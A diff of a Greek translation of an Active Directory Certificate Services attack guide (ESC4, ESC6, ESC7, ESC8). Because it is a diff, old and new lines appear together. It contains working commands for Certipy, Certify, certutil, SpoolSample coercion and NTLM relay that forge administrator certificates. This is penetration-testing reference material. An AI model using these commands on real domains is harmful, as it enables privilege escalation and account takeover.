Αν ένας **εισβολέας** διαθέτει τα απαιτούμενα **δικαιώματα** για να **τροποποιήσει** ένα **πρότυπο** και να **εφαρμόσει** οποιεσδήποτε **εκμεταλλεύσιμες λανθάνουσες ρυθμίσεις** που περιγράφονται σε **προηγούμενες ενότητες**, θα μπορούσε να διευκολύνει την ανόδο προνομίων.
Σημαντικά δικαιώματα που εφαρμόζονται στα πρότυπα πιστοποιητικών περιλαμβάνουν:
@ -152,7 +152,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
* **Πλήρης Έλεγχος:** Επιτρέπει πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της δυνατότητας τροποποίησης οποιωνδήποτε χαρακτηριστικών.
* **ΕγγραφήΚάτοχος:** Επιτρέπει την τροποποίηση του κατόχου του αντικειμένου σε έναν κύριο υπό τον έλεγχο του εισβολέα.
* **ΕγγραφήDacl:** Επιτρέπει τη ρύθμιση των ελέγχων πρόσβασης, πιθανώς χορηγώντας σε έναν εισβολέα Πλήρη Έλεγχο.
* **ΕγγραφήΙδιοκτησία:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων αντικειμένου.
* **ΕγγραφήΙδιότητα:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων αντικειμένου.
### Κατάχρηση
@ -162,11 +162,11 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
Το ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να γίνει ευάλωτο για το ESC1.
Όπως βλέπουμε στη διαδρομή παραπάνω, μόνο το `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει τη νέα άκρη `AddKeyCredentialLink` στο `JOHNPC`. Καθώς αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτήν την επίθεση επίσης, η οποία είναι γνωστή ως [Σκιώδεις Διαπιστεύσεις](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Εδώ ένα μικρό sneak peak της εντολής `shadow auto` του Certipy για την ανάκτηση του NT hash του θύματος.
Όπως βλέπουμε στη διαδρομή παραπάνω, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει τη νέα άκρη `AddKeyCredentialLink` στον `JOHNPC`. Καθώς αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτήν την επίθεση επίσης, η οποία είναι γνωστή ως [Σκιώδεις Διαπιστεύσεις](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Εδώ ένα μικρό sneak peak της εντολής `shadow auto` του Certipy για την ανάκτηση του NT hash του θύματος.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy** μπορεί να αντικαταστήσει τη διαμόρφωση ενός προτύπου πιστοποιητικού με ένα μόνο πλήκτρο. Από προεπιλογή, το Certipy θα αντικαταστήσει τη διαμόρφωση για να την καταστήσει ευάλωτη στο ESC1. Μπορούμε επίσης να καθορίσουμε την παράμετρο `-save-old` για να αποθηκεύσουμε την παλιά διαμόρφωση, η οποία θα είναι χρήσιμη για την επαναφορά της διαμόρφωσης μετά την επίθεσή μας.
**Certipy** μπορεί να αντικαταστήσει τη διαμόρφωση ενός προτύπου πιστοποιητικού με ένα μόνο πλήκτρο. Από προεπιλογή, το Certipy θα αντικαταστήσει τη διαμόρφωση για να την καθιστά ευάλωτη στο ESC1. Μπορούμε επίσης να καθορίσουμε την παράμετρο `-save-old` για να αποθηκεύσουμε την παλιά διαμόρφωση, η οποία θα είναι χρήσιμη για την επαναφορά της διαμόρφωσης μετά την επίθεσή μας.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -181,21 +181,21 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Εξήγηση
Το εκτεταμένο δίκτυο συνδεδεμένων σχέσεων βασισμένο σε ACL, που περιλαμβάνει αρκετά αντικείμενα πέρα ​​από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, τα οποία μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:
Το εκτεταμένο δίκτυο συνδεδεμένων σχέσεων βασισμένο σε ACL, το οποίο περιλαμβάνει αρκετά αντικείμενα πέρα ​​από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, τα οποία μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:
* Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο ενδέχεται να διαρρεύσει μέσω μηχανισμών όπως το S4U2Self ή το S4U2Proxy.
* Ο διακομιστής RPC/DCOM του διακομιστή CA.
* Οποιοδήποτε κατώτερο αντικείμενο ή δοχείο AD εντός της συγκεκριμένης διαδρομής δοχείου `CN=Δημόσιες Υπηρεσίες Κλειδιών,CN=Υπηρεσίες,CN=Διαμόρφωση,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, δοχεία και αντικείμενα όπως το δοχείο Πρότυπα Πιστοποιητικών, το δοχείο Αρχές Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Δοχείο Υπηρεσιών Εγγραφής.
Η ασφάλεια του συστήματος PKI μπορεί να διακυβευτεί εάν ένας χρήστης με χαμηλά προνόμια καταφέρει να αναλάβει τον έλεγχο επί οποιουδήποτε από αυτά τα κρίσιμα στοιχεία.
Η ασφάλεια του συστήματος PKI μπορεί να διακινδυνευτεί εάν ένας χρήστης με χαμηλά προνόμια καταφέρει να αναλάβει τον έλεγχο επί οποιουδήποτε από αυτά τα κρίσιμα στοιχεία.
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
### Εξήγηση
Το θέμα που συζητήθηκε στην [**ανάρτηση της CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει τη συμπερίληψη **τιμών που ορίζει ο χρήστης** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων αυτών που δημιουργούνται από το Active Directory®. Ως εκ τούτου, αυτή η πρόνοια επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** που έχει ρυθμιστεί για την ταυτοποίηση τομέα—ειδικότερα αυτών που είναι ανοικτά για την εγγραφή χρηστών με **χαμηλά προνόμια**, όπως το τυπικό πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να ασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να ταυτοποιηθεί ως διαχειριστής τομέα ή **οποιοδήποτε άλλο ενεργό οντότητα** εντός του τομέα.
Το θέμα που συζητήθηκε στην [**ανάρτηση της CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει τη συμπερίληψη **τιμών που ορίζει ο χρήστης** στο **εναλλακτικό όνομα θέματος** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων αυτών που δημιουργούνται από το Active Directory®. Ως εκ τούτου, αυτή η πρόνοια επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** που έχει ρυθμιστεί για την ταυτοποίηση τομέα—ειδικότερα αυτών που είναι ανοικτά για την εγγραφή χρηστών με **χαμηλά προνόμια**, όπως το τυπικό πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να ασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να ταυτοποιηθεί ως διαχειριστής τομέα ή **οποιοδήποτε άλλο ενεργό οντότητα** εντός του τομέα.
**Σημείωση**: Η διαδικασία για την προσάρτηση **εναλλακτικών ονομάτων** σε ένα αίτημα υπογραφής πιστοποιητικού (CSR), μέσω του ορίσματος `-attrib "SAN:"` στο `certreq.exe` (αναφέρεται ως "Ζεύγη Ονομάτων Τιμών"), παρουσιάζει μια **αντίθεση** από τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διαφορά βρίσκεται στον τρόπο που η πληροφορία λογαριασμού ενθυλακώνεται—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
**Σημείωση**: Η διαδικασία για την προσάρτηση **εναλλακτικών ονομάτων** σε ένα αίτημα υπογραφής πιστοποιητικού (CSR), μέσω του ορίσματος `-attrib "SAN:"` στο `certreq.exe` (αναφέρεται ως "Ζεύγη Ονομάτων Τιμών"), παρουσιάζει μια **αντίθεση** από τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διαφορά βρίσκεται στο **πώς ενθυλακώνεται η πληροφορία λογαριασμού**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
### Κατάχρηση
@ -216,7 +216,7 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Για να τροποποιήσετε αυτές τις ρυθμίσεις, υποθέτοντας ότι κάποιος διαθέτει **διαχειριστικά δικαιώματα τομέα** ή ισοδύναμα, μπορεί να εκτελεστεί η παρακάτω εντολή από οποιονδήποτε υπολογιστή:
Για να τροποποιήσετε αυτές τις ρυθμίσεις, υποθέτοντας ότι κάποιος διαθέτει **διαχειριστικά δικαιώματα τομέα** ή ισοδύναμα, η παρακάτω εντολή μπορεί να εκτελεστεί από οποιονδήποτε υπολογιστή:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
@ -225,7 +225,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
{% hint style="warning" %}
Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα νεοεκδοθέντα **πιστοποιητικά** θα περιέχουν μια **επέκταση ασφαλείας** που ενσωματώνει την ιδιότητα **`objectSid` του αιτούντα**. Για το ESC1, αυτό το SID προέρχεται από το συγκεκριμένο SAN. Ωστάσο, για το **ESC6**, το SID αντικατοπτρίζει το **`objectSid` του αιτούντα**, όχι το SAN.\
Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα νεοεκδιδόμενα **πιστοποιητικά** θα περιέχουν μια **επέκταση ασφαλείας** που ενσωματώνει την **ιδιότητα `objectSid` του αιτούντα**. Για το ESC1, αυτό το SID προέρχεται από το συγκεκριμένο SAN. Ωστόσο, για το **ESC6**, το SID αντικατοπτρίζει το **`objectSid` του αιτούντα**, όχι το SAN.\
Για να εκμεταλλευτείτε το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Αδύναμες Αντιστοιχίσεις Πιστοποιητικών), το οποίο δίνει προτεραιότητα στο **SAN πάνω από τη νέα επέκταση ασφαλείας**.
{% endhint %}
@ -235,7 +235,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
#### Εξήγηση
Ο έλεγχος πρόσβασης για μια αρχή πιστοποίησης διατηρείται μέσω ενός συνόλου δικαιωμάτων που διέπουν τις ενέργειες της CA. Αυτά τα δικαιώματα μπορούν να προβληθούν από την πρόσβαση στο `certsrv.msc`, δεξί κλικ σε μια CA, επιλογή ιδιοτήτων και στη συνέχεια πλοήγηση στην καρτέλα Ασφάλειας. Επιπλέον, τα δικαιώματα μπορούν να απαριθμηθούν χρησιμοποιώντας το module PSPKI με εντολές όπως:
Ο έλεγχος πρόσβασης για μια αρχή πιστοποίησης διατηρείται μέσω ενός συνόλου δικαιωμάτων που ελέγχουν τις ενέργειες της CA. Αυτά τα δικαιώματα μπορούν να προβληθούν από την πρόσβαση στο `certsrv.msc`, δεξί κλικ σε μια CA, επιλογή ιδιοτήτων και στη συνέχεια πλοήγηση στην καρτέλα Ασφάλειας. Επιπλέον, τα δικαιώματα μπορούν να απαριθμηθούν χρησιμοποιώντας το module PSPKI με εντολές όπως:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
@ -243,13 +243,13 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth
#### Κατάχρηση
Η κατοχή δικαιωμάτων **`ManageCA`** σε ένα αρχείο πιστοποιητικών επιτρέπει στον κύριο να ρυθμίζει τις ρυθμίσεις απομακρυσμένα χρησιμοποιώντας το PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί η καθορισμός SAN σε οποιοδήποτε πρότυπο, ένα κρίσιμο στοιχείο της ανόδου στον τομέα.
Έχοντας δικαιώματα **`ManageCA`** σε έναν αρμόδιο για πιστοποιητικά εξουσιοδοτημένο, ο υποκείμενος μπορεί να ρυθμίσει τις ρυθμίσεις απομακρυσμένα χρησιμοποιώντας το PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί η προδιαγραφή SAN σε οποιοδήποτε πρότυπο, ένα κρίσιμο στοιχείο της ανόδου τομέα.
Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω της χρήσης του εργαλείου **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση διεπαφή GUI.
Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω της χρήσης της εντολής **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση διαδραστικότητα GUI.
Η κατοχή δικαιωμάτων **`ManageCertificates`** διευκολύνει την έγκριση εκκρεμών αιτημάτων, παρακάμπτοντας αποτελεσματικά την προστασία "έγκρισης διαχειριστή πιστοποιητικού CA".
Μια συνδυασμένη χρήση των ενοτήτων **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για το αίτημα, την έγκριση και τον λήψη ενός πιστοποιητικού:
Μια συνδυασμένη χρήση των ενοτήτων **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για να ζητηθεί, εγκριθεί και κατεβάσει ένα πιστοποιητικό:
```powershell
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@ -270,7 +270,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Εξήγηση
{% hint style="warning" %}
Στην **προηγούμενη επίθεση** χρησιμοποιήθηκαν οι άδειες **`Manage CA`** για να ενεργοποιηθεί η σημαία **EDITF\_ATTRIBUTESUBJECTALTNAME2** για την εκτέλεση της επίθεσης **ESC6**, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι να επανεκκινηθεί η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης `Manage CA`, του επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 ενδέχεται να μην λειτουργήσει απευθείας** σε περισσότερα περιβάλλοντα με ενημερώσεις ασφαλείας από τον Μάιο του 2022.
Στην **προηγούμενη επίθεση** χρησιμοποιήθηκαν οι άδειες **`Manage CA`** για να **ενεργοποιηθεί** η σημαία **EDITF\_ATTRIBUTESUBJECTALTNAME2** για την εκτέλεση της επίθεσης **ESC6**, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι να επανεκκινηθεί η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης `Manage CA`, του επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 ενδέχεται να μην λειτουργήσει απευθείας** σε περισσότερα περιβάλλοντα με ενημερώσεις ασφαλείας από τον Μάιο του 2022.
{% endhint %}
Επομένως, παρουσιάζεται εδώ μια άλλη επίθεση.
@ -281,7 +281,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
* Άδεια **`Manage Certificates`** (μπορεί να χορηγηθεί από το **`ManageCA`**)
* Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **ενεργοποιημένο** (μπορεί να ενεργοποιηθεί από το **`ManageCA`**)
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης `Manage CA` αι_ `Manage Certificates` μπορούν να **εκδώσουν αιτήσεις πιστοποιητικών που απέτυχαν**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθείται** - αλλά **στη συνέχεια να εκδοθεί από τον διαχειριστή**.
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης `Manage CA` αι_ `Manage Certificates` μπορούν να **εκδώσουν αιτήσεις πιστοποιητικών που αποτυγχάνουν**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθείται** - αλλά **στη συνέχεια να εκδοθεί από τον διαχειριστή**.
#### Κατάχρηση
@ -304,7 +304,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
Εάν έχουμε πληρούνται τις προϋποθέσεις για αυτήν την επίθεση, μπορούμε να ξεκινήσουμε με **το αίτημα ενός πιστοποιητικού βασισμένο στο πρότυπο `SubCA`**.
Αν έχουμε πληρούνται τις προϋποθέσεις για αυτήν την επίθεση, μπορούμε να ξεκινήσουμε με **το αίτημα ενός πιστοποιητικού βασισμένο στο πρότυπο `SubCA`**.
**Αυτό το αίτημα θα απορριφθεί**, αλλά θα αποθηκεύσουμε τον ιδιωτικό κλειδί και θα καταγράψουμε τον αριθμό αίτησης.
```bash
@ -318,7 +318,7 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
Με τα **`Manage CA` και `Manage Certificates`** μας, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο πιστοποιητικό** αίτηση με την εντολή `ca` και την παράμετρο `-issue-request <request ID>`.
Με τα **`Manage CA` και `Manage Certificates`** μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο πιστοποιητικό** αίτηση με την εντολή `ca` και την παράμετρο `-issue-request <request ID>`.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -337,22 +337,22 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
## Προώθηση σελίδας NTLM προς τα σημεία HTTP του AD CS - ESC8
## Προώθηση NTLM σε HTTP Σημεία Άκρης του AD CS - ESC8
### Εξήγηση
{% hint style="info" %}
Σε περιβάλλοντα όπου **είναι εγκατεστημένο το AD CS**, εάν υπάρχει ένα ευάλωτο **σημείο εγγραφής στον ιστό** και τουλάχιστον ένα **πρότυπο πιστοποιητικού που είναι δημοσιευμένο** και επιτρέπει **την εγγραφή υπολογιστών τομέα και την πιστοποίηση πελάτη** (όπως το προεπιλεγμένο πρότυπο **`Machine`**), γίνεται δυνατή η **διακίνηση ενός υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο**!
Σε περιβάλλοντα όπου **είναι εγκατεστημένο το AD CS**, εάν υπάρχει ένα ευάλωτο **σημείο άκρης web εγγραφής** και τουλάχιστον ένα **πρότυπο πιστοποιητικού που είναι δημοσιευμένο** και επιτρέπει **την εγγραφή υπολογιστή τομέα και την πιστοποίηση πελάτη** (όπως το προεπιλεγμένο πρότυπο **`Machine`**), γίνεται δυνατή η **διακίνηση ενός υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο**!
{% endhint %}
Πολλές **μέθοδοι εγγραφής με βάση το HTTP** υποστηρίζονται από το AD CS, διατίθενται μέσω επιπλέον ρόλων διακομιστή που οι διαχειριστές μπορεί να εγκαταστήσουν. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών με βάση το HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από ένα **υπολογιστή που έχει διαρρεύσει, μπορεί να υποκαταστήσει οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ υποκαθιστά τον λογαριασμό θύματος, αυτές οι ιστοσελίδες μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**.
Πολλές **μέθοδοι εγγραφής βασισμένες σε HTTP** υποστηρίζονται από το AD CS, διατίθενται μέσω επιπλέον ρόλων διακομιστή που οι διαχειριστές μπορεί να εγκαταστήσουν. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών βασισμένες σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από ένα **υπολογιστή που έχει διαρρεύσει, μπορεί να προσωποποιήσει οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Προσωποποιώντας τον λογαριασμό θύματος, αυτές οι διεπαφές web μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**.
* Η **διεπαφή εγγραφής στον ιστό** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλέγει μόνο το HTTP, το οποίο δεν προσφέρει προστασία ενάντια σε επιθέσεις NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της κεφαλίδας HTTP Authorization της, καθιστώντας ανεφάρμοστες πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos.
* Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών** (CEP) και η **Υπηρεσία Εγγραφής Συσκευών Δικτύου** (NDES) υποστηρίζουν προεπιλεγμένα τη διαπραγμάτευση πιστοποίησης μέσω της κεφαλίδας HTTP Authorization τους. Η διαπραγμάτευση πιστοποίησης υποστηρίζει τόσο το Kerberos όσο και το NTLM, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει στην πιστοποίηση NTLM** κατά τις επιθέσεις relay. Αν και αυτές οι υπηρεσίες ιστού ενεργοποιούν το HTTPS από προεπιλογή, το HTTPS μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με channel binding. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επέκταση Προστασίας για Πιστοποίηση στο IIS, η οποία απαιτείται για το channel binding.
* Η **διεπαφή εγγραφής web** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλογής λειτουργεί μόνο με HTTP, το οποίο δεν προσφέρει προστασία ενάντια σε επιθέσεις NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της κεφαλίδας HTTP Authorization της, καθιστώντας ανεφάρμοστες πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos.
* Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών** (CEP) και η **Υπηρεσία Εγγραφής Συσκευών Δικτύου** (NDES) υποστηρίζουν προεπιλεγμένα τη διαπραγμάτευση πιστοποίησης μέσω της κεφαλίδας HTTP Authorization τους. Η διαπραγμάτευση πιστοποίησης υποστηρίζει τόσο το Kerberos όσο και το NTLM, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει σε NTLM** πιστοποίηση κατά τις επιθέσεις relay. Αν και αυτές οι υπηρεσίες web ενεργοποιούν το HTTPS από προεπιλογή, το HTTPS μόνο του **δεν προστατεύει ενάντια σε επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με channel binding. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επέκταση Προστασίας για Πιστοποίηση στο IIS, η οποία απαιτείται για το channel binding.
Ένα **συνηθισμένο πρόβλημα** με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η ανικανότητα του επιτιθέμενου να αλληλεπιδράσει με υπηρεσίες που **απαιτούν υπογραφή NTLM**.
Ωστόσο, αυτό το περιορισμό ξεπερνιέται με την εκμετάλλευση μιας επίθεσης NTLM relay για την απόκτηση ενός πιστοποιητικού για τον χρήστη, καθώς η περίοδος ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε στο:
Ωστόσο, αυτό το περιορισμό ξεπερνιέται με την εκμετάλλευση μιας επίθεσης NTLM relay για να αποκτηθεί ένα πιστοποιητικό για τον χρήστη, καθώς η περίοδος ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε στο:
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
@ -366,13 +366,13 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### **Κατάχρηση**
[**Certify**](https://github.com/GhostPack/Certify) το `cas` απαριθμεί τα **ενεργοποιημένα σημεία HTTP του AD CS**:
[**Certify**](https://github.com/GhostPack/Certify) το `cas` απαριθμεί τα **ενεργοποιημένα HTTP σημεία άκρης του AD CS**:
```
Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από επιχειρηματικές Αρχές Πιστοποίησης (CAs) για την αποθήκευση των σημείων υπηρεσίας Εγγραφής Πιστοποιητικών (CES). Αυτά τα σημεία υπηρεσίας μπορούν να αναλυθούν και να καταχωρηθούν χρησιμοποιώντας το εργαλείο **Certutil.exe**:
Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από επιχειρηματικές Αρχές Πιστοποίησης (CAs) για να αποθηκεύουν τα σημεία Υπηρεσίας Εγγραφής Πιστοποιητικών (CES). Αυτά τα σημεία μπορούν να αναλυθούν και να καταχωρηθούν χρησιμοποιώντας το εργαλείο **Certutil.exe**:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
@ -402,7 +402,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
Το αίτημα για ένα πιστοποιητικό γίνεται από το Certipy από προεπιλογή με βάση το πρότυπο `Machine` ή `User`, που καθορίζεται από το εάν το όνομα λογαριασμού που μεταδίδεται τελειώνει σε `$`. Η καθορισμός ενός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου `-template`.
Ένας τεχνική σαν το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκαστεί η ταυτοποίηση. Όταν ασχολείστε με ελεγκτές τομέων, απαιτείται η καθορισμός της παραμέτρου `-template DomainController`.
Μια τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να επιβάλει την ταυτοποίηση. Όταν ασχολείστε με ελεγκτές τομέων, απαιτείται η καθορισμός της παραμέτρου `-template DomainController`.
```bash
certipy relay -ca ca.corp.local
